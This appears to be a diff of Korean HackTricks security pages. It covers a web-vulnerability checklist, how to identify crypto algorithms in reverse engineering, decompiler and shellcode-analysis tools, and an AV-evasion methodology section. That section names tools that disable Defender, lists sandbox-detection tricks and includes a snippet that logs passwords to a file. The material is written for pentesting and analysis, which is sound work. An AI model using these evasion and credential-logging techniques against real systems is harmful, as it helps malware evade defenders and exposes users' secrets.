입력된 데이터가 응답에 반영될 수 있다면, 페이지는 여러 문제에 취약할 수 있습니다.
- [ ] [**클라이언트 측 템플릿 주입**](../client-side-template-injection-csti.md)
- [ ] [**명령 주입**](../command-injection.md)
- [ ] [**CRLF**](../crlf-0d-0a.md)
- [ ] [**떠 있는 마크업**](../dangling-markup-html-scriptless-injection/index.html)
- [ ] [**파일 포함/경로 탐색**](../file-inclusion/index.html)
- [ ] [**오픈 리다이렉트**](../open-redirect.md)
- [ ] [**XSS로의 프로토타입 오염**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
- [ ] [**서버 측 포함/엣지 측 포함**](../server-side-inclusion-edge-side-inclusion-injection.md)
- [ ] [**서버 측 요청 위조**](../ssrf-server-side-request-forgery/index.html)
- [ ] [**서버 측 템플릿 주입**](../ssti-server-side-template-injection/index.html)
- [ ] [**리버스 탭 납치**](../reverse-tab-nabbing.md)
- [ ] [**XSLT 서버 측 주입**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
- [ ] [**XSS**](../xss-cross-site-scripting/index.html)
- [ ] [**XSSI**](../xssi-cross-site-script-inclusion.md)
- [ ] [**XS-검색**](../xs-search.md)
언급된 취약점 중 일부는 특별한 조건이 필요하고, 다른 일부는 단순히 내용이 반영되기만 하면 됩니다. 취약점을 빠르게 테스트할 수 있는 흥미로운 폴리글롯을 찾을 수 있습니다:
{{#ref}}
../pocs-and-polygloths-cheatsheet/
{{#endref}}
### **검색 기능**
기능이 백엔드 내에서 어떤 종류의 데이터를 검색하는 데 사용될 수 있다면, 이를 (악용)하여 임의의 데이터를 검색할 수 있습니다.
- [ ] [**파일 포함/경로 탐색**](../file-inclusion/index.html)
- [ ] [**NoSQL 주입**](../nosql-injection.md)
- [ ] [**LDAP 주입**](../ldap-injection.md)
- [ ] [**ReDoS**](../regular-expression-denial-of-service-redos.md)
- [ ] [**SQL 주입**](../sql-injection/index.html)
- [ ] [**XPATH 주입**](../xpath-injection.md)
### **양식, 웹소켓 및 PostMsg**
웹소켓이 메시지를 게시하거나 사용자가 작업을 수행할 수 있도록 하는 양식이 있을 때 취약점이 발생할 수 있습니다.
- [ ] [**교차 사이트 요청 위조**](../csrf-cross-site-request-forgery.md)
- [ ] [**교차 사이트 웹소켓 탈취 (CSWSH)**](../websocket-attacks.md)
- [ ] [**PostMessage 취약점**](../postmessage-vulnerabilities/index.html)
### **HTTP 헤더**
웹 서버에서 제공하는 HTTP 헤더에 따라 일부 취약점이 존재할 수 있습니다.
- [ ] [**클릭재킹**](../clickjacking.md)
- [ ] [**콘텐츠 보안 정책 우회**](../content-security-policy-csp-bypass/index.html)
- [ ] [**쿠키 해킹**](../hacking-with-cookies/index.html)
- [ ] [**CORS - 잘못된 구성 및 우회**](../cors-bypass.md)
### **우회**
일부 특정 기능에서는 우회할 수 있는 몇 가지 해결 방법이 유용할 수 있습니다.
- [ ] [**2FA/OTP 우회**](../2fa-bypass.md)
- [ ] [**결제 프로세스 우회**](../bypass-payment-process.md)
- [ ] [**캡차 우회**](../captcha-bypass.md)
- [ ] [**로그인 우회**](../login-bypass/index.html)
- [ ] [**경쟁 조건**](../race-condition.md)
- [ ] [**요금 제한 우회**](../rate-limit-bypass.md)
- [ ] [**비밀번호 재설정 우회**](../reset-password.md)
- [ ] [**등록 취약점**](../registration-vulnerabilities.md)
### **구조화된 객체 / 특정 기능**
일부 기능은 **데이터가 매우 특정한 형식으로 구조화되어야** 합니다 (예: 언어 직렬화 객체 또는 XML). 따라서 애플리케이션이 해당 종류의 데이터를 처리해야 하므로 취약점을 식별하기가 더 쉽습니다.\
일부 **특정 기능**은 **특정 형식의 입력이 사용될 경우** 취약할 수 있습니다 (예: 이메일 헤더 주입).
- [ ] [**역직렬화**](../deserialization/index.html)
- [ ] [**이메일 헤더 주입**](../email-injections.md)
- [ ] [**JWT 취약점**](../hacking-jwt-json-web-tokens.md)
- [ ] [**XML 외부 엔티티**](../xxe-xee-xml-external-entity.md)
### 파일
파일 업로드를 허용하는 기능은 여러 문제에 취약할 수 있습니다.\
사용자 입력을 포함하는 파일을 생성하는 기능은 예기치 않은 코드를 실행할 수 있습니다.\
사용자가 업로드한 파일이나 사용자 입력을 포함하여 자동으로 생성된 파일을 열면 위험에 처할 수 있습니다.
- [ ] [**파일 업로드**](../file-upload/index.html)
- [ ] [**수식 주입**](../formula-csv-doc-latex-ghostscript-injection.md)
- [ ] [**PDF 주입**](../xss-cross-site-scripting/pdf-injection.md)
- [ ] [**서버 측 XSS**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
### **외부 신원 관리**
- [ ] [**OAUTH를 통한 계정 탈취**](../oauth-to-account-takeover.md)
- [ ] [**SAML 공격**](../saml-attacks/index.html)
### **기타 유용한 취약점**
이러한 취약점은 다른 취약점을 악용하는 데 도움이 될 수 있습니다.
- [ ] [**도메인/서브도메인 탈취**](../domain-subdomain-takeover.md)
- [ ] [**IDOR**](../idor.md)
- [ ] [**매개변수 오염**](../parameter-pollution.md)
- [ ] [**유니코드 정규화 취약점**](../unicode-injection/index.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,183 +0,0 @@
# Cryptographic/Compression Algorithms
{{#include ../../banners/hacktricks-training.md}}
## Identifying Algorithms
코드가 **shift rights and lefts, xors 및 여러 산술 연산**을 사용하는 경우, 이는 **암호화 알고리즘**의 구현일 가능성이 높습니다. 여기서는 **각 단계를 역추적할 필요 없이 사용된 알고리즘을 식별하는 방법**을 보여줍니다.
### API functions
**CryptDeriveKey**
이 함수가 사용되면 두 번째 매개변수의 값을 확인하여 **사용되는 알고리즘**을 찾을 수 있습니다:
![](<../../images/image (375) (1) (1) (1) (1).png>)
가능한 알고리즘과 그에 할당된 값의 표는 여기에서 확인하세요: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
**RtlCompressBuffer/RtlDecompressBuffer**
주어진 데이터 버퍼를 압축하고 압축 해제합니다.
**CryptAcquireContext**
[문서에서](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): **CryptAcquireContext** 함수는 특정 암호화 서비스 공급자(CSP) 내의 특정 키 컨테이너에 대한 핸들을 획득하는 데 사용됩니다. **이 반환된 핸들은 선택된 CSP를 사용하는 CryptoAPI** 함수 호출에 사용됩니다.
**CryptCreateHash**
데이터 스트림의 해싱을 시작합니다. 이 함수가 사용되면 두 번째 매개변수의 값을 확인하여 **사용되는 알고리즘**을 찾을 수 있습니다:
![](<../../images/image (376).png>)
\
가능한 알고리즘과 그에 할당된 값의 표는 여기에서 확인하세요: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
### Code constants
때때로 알고리즘을 식별하는 것이 매우 쉽습니다. 이는 특별하고 고유한 값을 사용해야 하기 때문입니다.
![](<../../images/image (370).png>)
첫 번째 상수를 구글에서 검색하면 다음과 같은 결과를 얻습니다:
![](<../../images/image (371).png>)
따라서 디컴파일된 함수가 **sha256 계산기**라고 가정할 수 있습니다.\
다른 상수를 검색하면 (아마도) 같은 결과를 얻을 수 있습니다.
### data info
코드에 중요한 상수가 없으면 **.data 섹션에서 정보를 로드하고 있을 수 있습니다**.\
해당 데이터에 접근하여 **첫 번째 dword를 그룹화**하고 이전 섹션에서 했던 것처럼 구글에서 검색할 수 있습니다:
![](<../../images/image (372).png>)
이 경우 **0xA56363C6**를 검색하면 **AES 알고리즘의 테이블**과 관련이 있음을 알 수 있습니다.
## RC4 **(Symmetric Crypt)**
### Characteristics
3개의 주요 부분으로 구성됩니다:
- **초기화 단계/**: **0x00에서 0xFF까지의 값 테이블**을 생성합니다(총 256바이트, 0x100). 이 테이블은 일반적으로 **Substitution Box**(또는 SBox)라고 불립니다.
- **스크램블링 단계**: 이전에 생성된 테이블을 **반복(loop)**하며 각 값을 **반무작위** 바이트로 수정합니다. 이 반무작위 바이트를 생성하기 위해 RC4 **키가 사용됩니다**. RC4 **키**는 **1바이트에서 256바이트** 사이일 수 있지만, 일반적으로 5바이트 이상을 권장합니다. 일반적으로 RC4 키는 16바이트입니다.
- **XOR 단계**: 마지막으로 평문 또는 암호문은 **이전에 생성된 값과 XOR됩니다**. 암호화 및 복호화 함수는 동일합니다. 이를 위해 **생성된 256바이트를 필요에 따라 반복**합니다. 이는 일반적으로 디컴파일된 코드에서 **%256 (mod 256)**으로 인식됩니다.
> [!TIP]
> **디스어셈블리/디컴파일된 코드에서 RC4를 식별하려면 0x100 크기의 2개의 루프(키 사용)와 입력 데이터를 이전 2개의 루프에서 생성된 256값과 XOR하는 것을 확인하세요. 아마도 %256 (mod 256)을 사용할 것입니다.**
### **Initialization stage/Substitution Box:** (카운터로 사용된 숫자 256과 256개의 문자 각각에 0이 어떻게 쓰여졌는지 주목하세요)
![](<../../images/image (377).png>)
### **Scrambling Stage:**
![](<../../images/image (378).png>)
### **XOR Stage:**
![](<../../images/image (379).png>)
## **AES (Symmetric Crypt)**
### **Characteristics**
- **치환 상자 및 조회 테이블** 사용
- **특정 조회 테이블 값**(상수)의 사용 덕분에 AES를 **구별할 수 있습니다**. _**상수**는 **이진 파일에 저장**되거나 _**동적으로 생성**될 수 있습니다._
- **암호화 키**는 **16으로 나누어 떨어져야** 하며(일반적으로 32B) 보통 **IV**는 16B가 사용됩니다.
### SBox constants
![](<../../images/image (380).png>)
## Serpent **(Symmetric Crypt)**
### Characteristics
- 이 알고리즘을 사용하는 악성코드는 드물지만 예시가 있습니다(Ursnif)
- 길이에 따라 알고리즘이 Serpent인지 여부를 쉽게 판단할 수 있습니다(매우 긴 함수)
### Identifying
다음 이미지에서 상수 **0x9E3779B9**가 사용되는 것을 주목하세요(이 상수는 **TEA** - Tiny Encryption Algorithm와 같은 다른 암호 알고리즘에서도 사용됩니다).\
또한 **루프의 크기**(**132**)와 **디스어셈블리** 명령어 및 **코드** 예제에서의 **XOR 연산 수**를 주목하세요:
![](<../../images/image (381).png>)
앞서 언급했듯이 이 코드는 **매우 긴 함수**로 어떤 디컴파일러에서도 시각화할 수 있습니다. 그 안에는 **점프**가 없습니다. 디컴파일된 코드는 다음과 같이 보일 수 있습니다:
![](<../../images/image (382).png>)
따라서 **매직 넘버**와 **초기 XOR**를 확인하고 **매우 긴 함수**를 보고 **긴 함수의 일부 명령어를 구현과 비교**함으로써 이 알고리즘을 식별할 수 있습니다(예: 7비트 왼쪽 시프트 및 22비트 왼쪽 회전).
## RSA **(Asymmetric Crypt)**
### Characteristics
- 대칭 알고리즘보다 더 복잡합니다.
- 상수가 없습니다! (사용자 정의 구현은 식별하기 어렵습니다)
- KANAL(암호 분석기)은 RSA에 대한 힌트를 제공하지 않으며 상수에 의존합니다.
### Identifying by comparisons
![](<../../images/image (383).png>)
- 11번째 줄(왼쪽)에는 `+7) >> 3`가 있으며, 이는 35번째 줄(오른쪽)과 동일합니다: `+7) / 8`
- 12번째 줄(왼쪽)은 `modulus_len < 0x040`를 확인하고, 36번째 줄(오른쪽)은 `inputLen+11 > modulusLen`을 확인합니다.
## MD5 & SHA (hash)
### Characteristics
- 3개의 함수: Init, Update, Final
- 유사한 초기화 함수
### Identify
**Init**
상수를 확인하여 두 가지를 식별할 수 있습니다. sha_init에는 MD5에는 없는 1개의 상수가 있습니다:
![](<../../images/image (385).png>)
**MD5 Transform**
더 많은 상수의 사용에 주목하세요.
![](<../../images/image (253) (1) (1) (1).png>)
## CRC (hash)
- 데이터의 우발적인 변경을 찾는 기능으로 더 작고 효율적입니다.
- 조회 테이블을 사용하므로 상수를 식별할 수 있습니다.
### Identify
**조회 테이블 상수**를 확인하세요:
![](<../../images/image (387).png>)
CRC 해시 알고리즘은 다음과 같습니다:
![](<../../images/image (386).png>)
## APLib (Compression)
### Characteristics
- 인식할 수 없는 상수
- 알고리즘을 파이썬으로 작성하고 온라인에서 유사한 것을 검색해 볼 수 있습니다.
### Identify
그래프는 꽤 큽니다:
![](<../../images/image (207) (2) (1).png>)
다음 **3개의 비교를 통해 인식할 수 있습니다**:
![](<../../images/image (384).png>)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,114 +0,0 @@
{{#include ../../banners/hacktricks-training.md}}
# Wasm 디컴파일 및 Wat 컴파일 가이드
**WebAssembly** 영역에서 **디컴파일****컴파일** 도구는 개발자에게 필수적입니다. 이 가이드는 **Wasm (WebAssembly binary)****Wat (WebAssembly text)** 파일을 처리하기 위한 온라인 리소스와 소프트웨어를 소개합니다.
## 온라인 도구
- Wasm을 Wat으로 **디컴파일**하려면 [Wabt의 wasm2wat 데모](https://webassembly.github.io/wabt/demo/wasm2wat/index.html)를 사용하면 유용합니다.
- Wat을 다시 Wasm으로 **컴파일**하려면 [Wabt의 wat2wasm 데모](https://webassembly.github.io/wabt/demo/wat2wasm/)가 목적에 맞습니다.
- 또 다른 디컴파일 옵션은 [web-wasmdec](https://wwwg.github.io/web-wasmdec/)에서 찾을 수 있습니다.
## 소프트웨어 솔루션
- 보다 강력한 솔루션을 원한다면 [PNF Software의 JEB](https://www.pnfsoftware.com/jeb/demo)가 광범위한 기능을 제공합니다.
- 오픈 소스 프로젝트 [wasmdec](https://github.com/wwwg/wasmdec)도 디컴파일 작업에 사용할 수 있습니다.
# .Net 디컴파일 리소스
.Net 어셈블리를 디컴파일하는 데 사용할 수 있는 도구는 다음과 같습니다:
- [ILSpy](https://github.com/icsharpcode/ILSpy), 이 도구는 [Visual Studio Code용 플러그인](https://github.com/icsharpcode/ilspy-vscode)도 제공하여 크로스 플랫폼 사용이 가능합니다.
- **디컴파일**, **수정**, **재컴파일** 작업에 대해 [dnSpy](https://github.com/0xd4d/dnSpy/releases)를 강력히 추천합니다. 메서드를 **우클릭**하고 **Modify Method**를 선택하면 코드 변경이 가능합니다.
- [JetBrains의 dotPeek](https://www.jetbrains.com/es-es/decompiler/)은 .Net 어셈블리를 디컴파일하는 또 다른 대안입니다.
## DNSpy로 디버깅 및 로깅 향상
### DNSpy 로깅
DNSpy를 사용하여 파일에 정보를 로깅하려면 다음 .Net 코드 스니펫을 포함하세요:
%%%cpp
using System.IO;
path = "C:\\inetpub\\temp\\MyTest2.txt";
File.AppendAllText(path, "Password: " + password + "\n");
%%%
### DNSpy 디버깅
DNSpy로 효과적으로 디버깅하기 위해서는 **Assembly attributes**를 디버깅에 맞게 조정하는 일련의 단계를 권장합니다. 이는 디버깅을 방해할 수 있는 최적화를 비활성화하는 것을 포함합니다. 이 과정에는 `DebuggableAttribute` 설정 변경, 어셈블리 재컴파일 및 변경 사항 저장이 포함됩니다.
또한, **IIS**에서 실행되는 .Net 애플리케이션을 디버깅하기 위해 `iisreset /noforce`를 실행하여 IIS를 재시작합니다. DNSpy에서 IIS 프로세스에 DNSpy를 연결하여 디버깅을 시작하려면 **w3wp.exe** 프로세스를 선택하고 디버깅 세션을 시작하는 방법을 안내합니다.
디버깅 중 로드된 모듈을 종합적으로 보기 위해 DNSpy의 **Modules** 창에 접근하고 모든 모듈을 열어 어셈블리를 정렬하여 더 쉽게 탐색하고 디버깅할 수 있도록 하는 것이 좋습니다.
이 가이드는 WebAssembly 및 .Net 디컴파일의 본질을 요약하며, 개발자가 이러한 작업을 쉽게 탐색할 수 있는 경로를 제공합니다.
## **Java 디컴파일러**
Java 바이트코드를 디컴파일하기 위해 다음 도구가 매우 유용할 수 있습니다:
- [jadx](https://github.com/skylot/jadx)
- [JD-GUI](https://github.com/java-decompiler/jd-gui/releases)
## **DLL 디버깅**
### IDA 사용
- **Rundll32**는 64비트 및 32비트 버전의 특정 경로에서 로드됩니다.
- **Windbg**는 라이브러리 로드/언로드 시 일시 중지 옵션이 활성화된 디버거로 선택됩니다.
- 실행 매개변수에는 DLL 경로와 함수 이름이 포함됩니다. 이 설정은 각 DLL의 로드 시 실행을 중단합니다.
### x64dbg/x32dbg 사용
- IDA와 유사하게 **rundll32**는 DLL 및 함수를 지정하기 위해 명령줄 수정을 통해 로드됩니다.
- DLL 진입 시 중단하도록 설정을 조정하여 원하는 DLL 진입 지점에서 중단점을 설정할 수 있습니다.
### 이미지
- 실행 중지 지점 및 구성은 스크린샷을 통해 설명됩니다.
## **ARM & MIPS**
- 에뮬레이션을 위해 [arm_now](https://github.com/nongiach/arm_now)가 유용한 리소스입니다.
## **쉘코드**
### 디버깅 기술
- **Blobrunner** 및 **jmp2it**는 메모리에 쉘코드를 할당하고 Ida 또는 x64dbg로 디버깅하는 도구입니다.
- Blobrunner [릴리스](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)
- jmp2it [컴파일된 버전](https://github.com/adamkramer/jmp2it/releases/)
- **Cutter**는 GUI 기반의 쉘코드 에뮬레이션 및 검사를 제공하며, 파일로서의 쉘코드 처리와 직접 쉘코드 처리의 차이를 강조합니다.
### 디오브퓨스케이션 및 분석
- **scdbg**는 쉘코드 기능 및 디오브퓨스케이션 기능에 대한 통찰력을 제공합니다.
%%%bash
scdbg.exe -f shellcode # 기본 정보
scdbg.exe -f shellcode -r # 분석 보고서
scdbg.exe -f shellcode -i -r # 인터랙티브 후크
scdbg.exe -f shellcode -d # 디코딩된 쉘코드 덤프
scdbg.exe -f shellcode /findsc # 시작 오프셋 찾기
scdbg.exe -f shellcode /foff 0x0000004D # 오프셋에서 실행
%%%
- 쉘코드를 디스어셈블하기 위한 **CyberChef**: [CyberChef 레시피](https://gchq.github.io/CyberChef/#recipe=To_Hex%28'Space',0%29Disassemble_x86%28'32','Full%20x86%20architecture',16,0,true,true%29)
## **Movfuscator**
- 모든 명령어를 `mov`로 대체하는 오브퓨스케이터입니다.
- 유용한 리소스에는 [YouTube 설명](https://www.youtube.com/watch?v=2VF_wPkiBJY) 및 [PDF 슬라이드](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas_2015_the_movfuscator.pdf)가 포함됩니다.
- **demovfuscator**는 movfuscator의 오브퓨스케이션을 역으로 수행할 수 있으며, `libcapstone-dev``libz3-dev`와 같은 종속성이 필요하고 [keystone](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md)을 설치해야 합니다.
## **Delphi**
- Delphi 바이너리의 경우 [IDR](https://github.com/crypto2011/IDR)를 추천합니다.
# 강좌
- [https://github.com/0xZ0F/Z0FCourse_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse_ReverseEngineering)
- [https://github.com/malrev/ABD](https://github.com/malrev/ABD) \(바이너리 디오브퓨스케이션\)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -6,90 +6,90 @@
## Stop Defender
- [defendnot](https://github.com/es3n1n/defendnot): Windows Defender가 작동하지 않게 만드는 도구.
- [no-defender](https://github.com/es3n1n/no-defender): 다른 AV를 가장하여 Windows Defender가 작동하지 않게 만드는 도구.
- [defendnot](https://github.com/es3n1n/defendnot): Windows Defender가 작동하지 않게 만드는 도구입니다.
- [no-defender](https://github.com/es3n1n/no-defender): 다른 AV를 가장하여 Windows Defender가 작동하지 않게 만드는 도구입니다.
- [Disable Defender if you are admin](basic-powershell-for-pentesters/README.md)
## **AV Evasion Methodology**
현재 AV들은 파일이 악성인지 아닌지를 판단하기 위해 여러 방법을 사용합니다: static detection, dynamic analysis, 그리고 더 고급 EDR들의 경우 behavioural analysis도 사용합니다.
현재 AV는 파일이 악성인지 여부를 확인하기 위해 정적 탐지, 동적 분석, 그리고 더 고급 EDR의 경우 행동 분석 등 다양한 방법을 사용합니다.
### **Static detection**
Static detection은 바이너리나 스크립트 내부의 알려진 악성 문자열이나 바이트 배열을 플래그하거나, 파일 자체에서 정보(예: file description, company name, digital signatures, icon, checksum 등)를 추출해서 이루어집니다. 이는 공개된 도구를 사용하면 더 쉽게 탐지될 수 있다는 뜻입니다. 공개 도구들은 이미 분석되어 악성으로 플래그되었을 가능성이 큽니다. 이런 탐지를 피하는 몇 가지 방법이 있습니다:
정적 탐지는 바이너리나 스크립트 내의 알려진 악성 문자열이나 바이트 배열을 표시하거나 파일 자체에서 정보를 추출하는 방식(e.g. file description, company name, digital signatures, icon, checksum 등)으로 이루어집니다. 이는 공개된 도구를 사용하면 더 쉽게 탐지될 수 있다는 의미입니다. 이미 분석되어 악성으로 표시되었을 가능성이 높기 때문입니다. 이러한 탐지를 피할 수 있는 몇 가지 방법이 있습니다:
- **Encryption**
바이너리를 암호화하면 AV가 프로그램을 탐지할 방법이 없어지지만, 메모리에서 프로그램을 복호화하고 실행할 수 있는 로더가 필요합니다.
바이너리를 암호화하면 AV가 프로그램을 탐지할 방법이 없어집니다. 다만 메모리에서 복호화하고 실행하기 위한 로더가 필요합니다.
- **Obfuscation**
때로 바이너리나 스크립트의 몇몇 문자열만 바꿔도 AV를 통과시킬 수 있습니다. 다만 무엇을 난독화하느냐에 따라 시간이 많이 들 수 있습니다.
때로 바이너리나 스크립트의 몇몇 문자열만 변경해도 AV를 통과할 수 있습니다. 다만 obfuscate하려는 대상에 따라 시간 소모가 클 수 있습니다.
- **Custom tooling**
자체 도구를 개발하면 알려진 악성 시그니처가 없겠지만, 많은 시간과 노력이 필요합니다.
자체 도구를 개발하면 알려진 악성 서명이 없기 때문에 탐지를 피하기 쉽습니다. 그러나 많은 시간과 노력이 필요합니다.
> [!TIP]
> Windows Defender의 static detection을 확인하는 좋은 방법은 [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)입니다. 이 도구는 파일을 여러 세그먼트로 분할한 다음 Defender에게 각 세그먼트를 개별적으로 스캔하게 하여, 바이너리에서 정확히 어떤 문자열이나 바이트가 플래그되는지 알려줍니다.
> Windows Defender의 정적 탐지를 확인하는 좋은 방법은 [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)입니다. 이 도구는 파일을 여러 세그먼트로 분할한 다음 Defender에게 각 세그먼트를 개별적으로 스캔하도록 요청합니다. 이렇게 하면 바이너리에서 어떤 문자열이나 바이트가 플래그되는지 정확히 알 수 있습니다.
무적인 AV Evasion에 관한 이 [YouTube 재생목록](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf)을 강력히 추천합니다.
용적인 AV Evasion에 관한 이 [YouTube playlist](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf)를 강력히 추천합니다.
### **Dynamic analysis**
Dynamic analysis는 AV가 바이너리를 sandbox에서 실행하고 악성 활동(예: 브라우저 비밀번호를 복호화하여 읽으려 시도하거나, LSASS에 대해 minidump를 수행하는 등)을 감시하는 방식입니다. 이 부분은 다루기 좀 까다로울 수 있지만, sandbox를 회피하기 위해 할 수 있는 몇 가지 방법이 있습니다.
동적 분석은 AV가 바이너리를 샌드박스에서 실행하고 악성 활동(예: 브라우저 비밀번호를 복호화하여 읽으려 시도, LSASS에 대해 minidump 수행 등)을 감시하는 것을 말합니다. 이 부분은 다루기 더 까다로울 수 있지만, 샌드박스를 회피하기 위해 할 수 있는 몇 가지 방법은 다음과 같습니다.
- **Sleep before execution** 구현 방식에 따라 AV의 dynamic analysis를 우회하는 훌륭한 방법이 될 수 있습니다. AV들은 사용자의 작업 흐름을 방해하지 않기 위해 파일을 스캔할 시간이 매우 짧기 때문에 긴 sleep을 사용하면 분석을 방해할 수 있습니다. 문제는 많은 AV의 sandboxes가 구현 방식에 따라 sleep을 건너뛸 수 있다는 점입니다.
- **Checking machine's resources** 일반적으로 sandbox는 사용할 수 있는 자원이 매우 적습니다(예: < 2GB RAM). 그렇지 않으면 사용자의 머신을 느리게 만들 있기 때문입니다. 여기서 창의적으로 접근할 있습니다. 예를 들어 CPU 온도나 속도를 확인하는 것처럼, 모든 항목이 sandbox에 구현되어 있지는 않습니다.
- **Machine-specific checks** 타깃 사용자의 워크스테이션이 "contoso.local" 도메인에 가입되어 있다면, 컴퓨터의 도메인을 확인하여 일치하지 않으면 프로그램을 종료하게 할 수 있습니다.
- **Sleep before execution** 구현 방식에 따라 AV의 동적 분석을 우회하는 좋은 방법이 될 수 있습니다. AV는 사용자의 작업 흐름을 방해하지 않기 위해 파일을 스캔하는 시간이 매우 짧으므로, 긴 sleep을 사용하면 바이너리 분석을 방해할 수 있습니다. 문제는 많은 AV의 샌드박스가 구현 방식에 따라 sleep을 건너뛸 수 있다는 점입니다.
- **Checking machine's resources** 일반적으로 샌드박스는 사용할 리소스가 매우 적습니다(e.g. < 2GB RAM). 그렇지 않으면 사용자 기기를 느리게 있습니다. 여기서는 매우 창의적으로 접근할 있습니다. 예를 들어 CPU 온도나 속도를 확인하는 , 샌드박스에 모든 것이 구현되어 있지는 않습니다.
- **Machine-specific checks** 예를 들어 대상 사용자의 워크스테이션이 "contoso.local" 도메인에 조인되어 있다면, 컴퓨터의 도메인을 확인하여 지정한 도메인과 일치하지 않으면 프로그램을 종료하게 할 수 있습니다.
실제로 Microsoft Defender의 Sandbox computername은 HAL9TH이므로, detonation 전에 malware에서 computer name을 확인하면, 이름이 HAL9TH일 경우 Defender의 sandbox 안에 있다는 뜻이므로 프로그램을 종료하게 만들면 됩니다.
알고 보니 Microsoft Defender의 Sandbox computername은 HAL9TH입니다. 따라서 악성코드가 폭발하기 전에 컴퓨터 이름을 확인하여 HAL9TH와 일치하면 Defender의 샌드박스 내부에 있다는 뜻이므로 프로그램을 종료하게 할 수 있습니다.
<figure><img src="../images/image (209).png" alt=""><figcaption><p>출처: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
<figure><img src="../images/image (209).png" alt=""><figcaption><p>source: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
Sandboxes에 맞서 싸우기 위한 [@mgeeky](https://twitter.com/mariuszbit)의 다른 좋은 팁들
샌드박스에 대응하기 위한 [@mgeeky](https://twitter.com/mariuszbit)의 다른 유용한 팁들
<figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev 채널</p></figcaption></figure>
<figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev channel</p></figcaption></figure>
이 글에서 이전에 말했듯이, **public tools**는 결국 **탐지됩니다**, 그래서 스스로에게 물어야 합니다:
앞서 말했듯이, **public tools**는 결국 **탐지됩니다**, 그래서 스스로에게 물어보아야 합니다:
예를 들어, LSASS를 덤프하려는 경우, **mimikatz를 반드시 사용해야 하는가**? 아니면 덜 알려진 다른 프로젝트를 사용해 LSASS를 덤프할 수 있는가?
예를 들어 LSASS를 덤프하려면, **정말로 mimikatz를 사용해야 하나요**? 아니면 LSASS를 덤프하는 덜 알려진 다른 프로젝트를 사용할 수 있을까요?
정답은 후자일 가능성이 큽니다. 예를 들면 mimikatz는 아마도 AV와 EDR에 의해 가장 많이 플래그되는 도구 중 하나일 것입니다. 프로젝트 자체는 훌륭하지만, AV를 우회하려고 작업할 때는 악몽과도 같아서, 달성하려는 목적에 맞는 대안을 찾는 것이 좋습니다.
정답은 아마 후자일 것입니다. mimikatz를 예로 들면, 이는 AV와 EDR에 의해 가장 많이 플래그되는 도구 중 하나일 가능성이 높습니다. 프로젝트 자체는 정말 훌륭하지만 AV를 우회하는 측면에서는 다루기 골치 아픈 경우가 많으므로, 달성하려는 목적에 대한 대안을 찾아보세요.
> [!TIP]
> evasion을 위해 payload를 수정할 때, Defender의 자동 샘플 제출을 반드시 끄고, 장기적인 evasion이 목표라면 **절대 VirusTotal에 업로드하지 마세요**. 특정 AV에서 payload가 탐지되는지 확인하고 싶다면 VM에 해당 AV를 설치하고 자동 샘플 제출을 끈 뒤, 그곳에서 테스트하여 만족스러운 결과가 나올 때까지 실험하세요.
> 페이로드를 회피 목적으로 수정할 때는 Defender에서 **automatic sample submission**을 끄는 것을 잊지 마세요. 그리고 제발, 장기적인 회피를 목표로 한다면 **DO NOT UPLOAD TO VIRUSTOTAL**을 진지하게 지키세요. 특정 AV에서 페이로드가 탐지되는지 확인하려면 VM에 설치하고 automatic sample submission을 끈 뒤, 결과에 만족할 때까지 거기서 테스트하세요.
## EXEs vs DLLs
가능할 때마다 **evasion을 위해 DLL을 사용하는 것을 우선시하세요**. 제 경험상 DLL 파일은 보통 **훨씬 덜 탐지**되고 분석되는 경향이 있어, payload가 DLL로 실행될 수 있다면 일부 경우에 매우 단순한 회피 기법이 될 수 있습니다.
가능하다면 항상 **evade를 위해 DLLs 사용을 우선시**하세요. 제 경험상 DLL 파일은 보통 **탐지율이 훨씬 낮고** 분석 대상이 되는 경우가 적습니다. 따라서 페이로드가 DLL로 실행될 수 있는 방법이 있다면 일부 경우에 탐지를 피하는 간단한 트릭이 됩니다.
아래 이미지에서 볼 수 있듯이, Havoc의 DLL Payload는 antiscan.me에서 탐지율이 4/26인 반면, EXE Payload는 7/26의 탐지율을 보입니다.
이 이미지에서 볼 수 있듯이, Havoc의 DLL Payload는 antiscan.me에서 4/26의 탐지율을 보인 반면, EXE 페이로드는 7/26의 탐지율을 보였습니다.
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>antiscan.me에서 일반 Havoc EXE payload vs 일반 Havoc DLL 비교</p></figcaption></figure>
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>antiscan.me comparison of a normal Havoc EXE payload vs a normal Havoc DLL</p></figcaption></figure>
이제 DLL 파일을 사용하여 더 은밀하게 만들기 위해 사용할 수 있는 몇 가지 트릭을 보여드리겠습니다.
이제 DLL 파일을 사용해 훨씬 더 은밀해질 수 있는 몇 가지 트릭을 보여드리겠습니다.
## DLL Sideloading & Proxying
